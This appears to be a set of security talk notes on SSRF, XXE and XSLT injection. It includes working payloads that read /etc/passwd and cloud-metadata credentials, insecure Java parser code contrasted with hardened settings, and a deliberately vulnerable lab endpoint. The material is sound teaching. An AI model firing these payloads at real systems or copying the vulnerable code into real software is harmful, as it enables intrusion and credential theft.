The core idea behind input processing issues
user input -> decode -> process -> do stuff
^ vuln ^
SSRF
issuing requests is dangerous, and getting responses can be fatal
POST /api/load?url=http://wherever.com HTTP/1.1
non-trivial examples:
- files with external links being processed
- loading and caching images or other media
- webhooks
- external service interaction
Exploitation
- IMDSv1:
http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name
- Header information disclosure/implied authentication:
POST /evil HTTP/1.1
X-Auth: mysupersecrettoken
- Internal resources
case: signing data
- data signing API endpoint
- undocumented; allows loading files from URLs
- allows embedding the signature in the file
- allows reading arbitrary GET responses
return sign(load(data), key)
Mitigation
- validate all input to make sure URLs cannot make it through
- know which functions of your code implicitly accept URLs
- WAF
XXE
XML has a lot of functions
DocumentBuilder db = DocumentBuilderFactory.newInstance().newDocumentBuilder();
Document doc = db.parse(input);
VS
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);
or
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(input);
sidenote: file read exploitation:
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&ent;</lastName>
</userInfo>
sidenote: SSRF:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
Mitigation:
- use secure XML parsers
- alternatively, do not use XML; it is the year 2021 after all
XSLT
lab credits: https://github.com/eoftedal/deserialize
POST /api/contacts/1/html HTTP/1.1
Host: localhost
Content-Type: application/xslt
Accept: text/html
Content-Length: 241
<?xml version="1.0" encoding="UTF-8" ?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
Code example:
@RequestMapping(value = " /{id}/html", method=RequestMethod.POST)
@ResponseBody
public final String format(@PathVariable int id, HttpEntity<String> xslt ){
Contact contact = contactRepository.get(id);
try {
String xml = Formatter.format(contact, xslt.getBody());
return xml;
} catch(Exception ex) {
return ex.getMessage();
}
}
public class Formatter {
public static String format(Contact contact, String xslt) throws Exception {
System.out.println(xslt);
XStream xstream = new XStream();
xstream.alias("contact", Contact.class);
Path path = Paths.get("./doc.xslt");
Files.write(path, xslt.getBytes());
TraxSource traxSource = new TraxSource(contact, xstream);
Writer buffer = new StringWriter();
Transformer transformer = TransformerFactory.newInstance().newTransformer(
new StreamSource(path.toFile()));
transformer.transform(traxSource, new StreamResult(buffer));
return buffer.toString();
}
}